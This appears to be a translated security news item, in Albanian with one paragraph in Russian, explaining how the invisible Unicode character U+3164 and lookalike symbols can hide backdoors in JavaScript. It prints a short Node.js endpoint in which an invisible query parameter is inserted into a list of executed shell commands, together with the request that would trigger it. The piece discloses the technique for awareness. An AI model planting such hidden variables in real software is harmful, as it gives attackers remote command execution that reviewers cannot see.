Pas metodës së sulmit Trojan Source, e cila bazohet në përdorimin e simboleve Unicode që ndryshojnë renditjen e shfaqjes së tekstit me dy drejtima, është publikuar një teknikë tjetër e futjes së veprimeve të fshehta, e aplikuar për kodin në gjuhën JavaScript. Metoda e re bazohet në përdorimin e simbolit unicode 'ㅤ' (kodi 0x3164, 'HANGUL FILLER'), i cili i përket kategorisë së shkronjave, por nuk ka përmbajtje të dukshme. Kategoria Unicode, në të cilën hyn ky simbol, lejohet që nga specifikimi ECMAScript 2015 për t'u përdorur në emrat e variablave JavaScript, duke ofruar mundësinë për të krijuar variabla të padukshëm ose variabla të rinj, të pandashëm nga variablat e tjerë në redaktorët e njohur të kodit, si Notepad++ dhe VS Code.
Si shembull, jepet kodi për platformën Node.js, ku me ndihmën e një variable, e cila përbëhet nga një karakter «ㅤ», fshihet një backdoor, i cili lejon ekzekutimin e kodit të caktuar nga sulmuesi: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // në të vërtetë është e shënuar si «const { timeout,ㅤ \u3164}» const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // pas presjes ndodhet karakteri \u3164 ];
На первый взгляд через внешний параметр передаётся только значение timeout, а массив с выполняемыми командами содержит безобидный фиксированный список. Но на деле после переменной timeout присваивается значение ещё одной невидимой переменной с кодом символа \u3164, которая также подставлена в массив исполняемых команд. Таким образом, при наличии подобной конструкции для активации бэкдора и выполнения своего кода атакующий может отправить запрос вида «https://host:8080/network_health?%E3%85%A4=команда».
Si një shembull tjetër, simboli «ǃ» (ALVEOLAR CLICK) mund të përdoret për të krijuar dukshmërinë e një shenje të thirrjes. Për shembull, shprehja «if(environmentǃ=ENV_PROD){» kur ekzekutohet në Node.js 14 do të jetë gjithmonë e vërtetë, pasi në të është një caktim i ndryshores «environmentǃ» me vlerën ENV_PROD dhe jo një kontroll i ndryshimit. Ndër simbolet tepër të ngatërrueshme unicode, po ashtu përmenden «/», «−», «+», «⩵», «❨», «⫽», «꓿» dhe «∗».
Burimi: opennet.ru
